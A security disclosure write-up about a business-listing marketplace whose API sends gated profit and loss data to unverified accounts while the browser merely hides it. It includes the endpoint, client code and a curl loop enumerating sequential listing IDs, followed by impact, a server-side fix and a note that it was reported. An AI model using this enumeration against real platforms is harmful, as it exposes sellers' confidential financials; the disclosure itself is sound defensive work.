Full Financials of Every Listing on a Business Marketplace, From a One Minute Old Account
----[ Target
The target is a brokerage that operates a marketplace for the private sale of profitable online businesses. Listings are worth between five thousand and several million dollars. The brokerage charges sellers to list and gates the most sensitive data on each listing behind a buyer side verification flow. The published policy commits the platform to protect two pieces of information per listing until the buyer completes identity and proof of funds verification: the live URL of the business, and the full profit and loss history. One of the two is properly gated. The other is not.
----[ Setup
A new account was created for this test. Email verified, nothing else. The account has the following state at the moment of the request:
ID Verified: none
Liquidity Verified: none
Remaining Unlocks: 0
Unlock Max Listing: none
Role: customer
Zero verifications. Zero unlocks. The user is not allowed to view any private listing data under the published policy.
----[ Observation
The single page application calls one endpoint to render a listing page:
GET /api/v1/listings/show?listing_number=NNNNN
Authorization: Bearer <session>
The response includes the gated URL field as a redacted string,
which is correct. It also includes a field named metrics. The
metrics field is a list of monthly objects. Each object contains
revenue, expenses, profit, advertising spend ratio, and cost of
goods ratio. The values are real. The data is delivered to a user
who has unlocked nothing.
{
"listing_number": NNNNN,
"asking_price": NNNNNNN,
"country_of_registration": "XX",
"metrics": [
{ "month": "YYYY-MM",
"revenue": REVENUE,
"expenses": EXPENSES,
"profit": PROFIT,
"tacos_pct": NN.N,
"cogs_pct": NN.N },
{ "month": "YYYY-MM", ... },
...
]
}
The bundle ships the reason. The render path branches on a flag that comes from the user record, not from the response:
const isPrivate = user.unlocked.includes(listing_number);
const placeholder = [...Array(23)].map(() => ({
grossRevenue: Math.random() * 99e3 + 1e3,
netProfit: Math.random() * 99e3 + 1e3
}));
(isPrivate ? response.metrics : placeholder).map(...)
When the user has not paid, the chart is drawn from a local array of random numbers. The real numbers are still in the response, already on the wire, already in the browser, just not selected for rendering.
----[ Scale
The listing identifier is a sequential integer. A single loop walks the full active inventory:
for n in $(seq START END); do
curl -s -H "Authorization: Bearer $T" \
"https://[API]/api/v1/listings/show?listing_number=$n"
done
A few hundred lines of script reproduce the entire competitive intelligence database that the brokerage sells access to. Sample rows from a live run, on the same unverified account:
[redacted #1] affiliate, business niche asking ~5.5M margin ~50%
[redacted #2] ecommerce, supplements asking ~1.5M margin ~20%
[redacted #3] service, automotive asking ~1.4M margin ~35%
[redacted #4] amazon fba, apparel asking ~430k margin ~15%
[redacted #5] amazon fba, beauty asking ~400k margin ~20%
Months of profit and loss history are returned for every row.
----[ Why It Matters
The brokerage charges buyers for unlocks and requires identity and proof of funds before private data is shown. The gate is a business model, not a feature. Removing it harms three groups at the same time.
o Sellers, who agreed to confidential listing terms, find the
monthly profit history of their business available to any
email address on the internet.
o Competing brokerages and acquirers receive a free feed of
the entire asking price and margin distribution of the
inventory.
o The brokerage loses the regulatory cover it relies on to
require buyer verification at all.
The bug also weakens the surrounding controls. Verification is the gate, the gate is unenforced, so the verification flow exists mostly as a deterrent against the honest user.
----[ Remediation
The authorization check belongs on the server. The metrics field
must be filtered out of the response when the requesting user has
not unlocked the listing, regardless of what the bundle does with
the value. The placeholder logic on the client should remain as a
visual fallback, not as a privacy boundary.
The unlock state already exists in the user record consulted by the same endpoint. The fix is one conditional in the serializer.
----[ Closing
The listing page works. The verification flow works. The unlock flow works. The defect is a single field that the server returns to every caller and the browser is asked to hide. The browser is not where access control lives.
Reported.
A control that runs in the client is a suggestion to the client.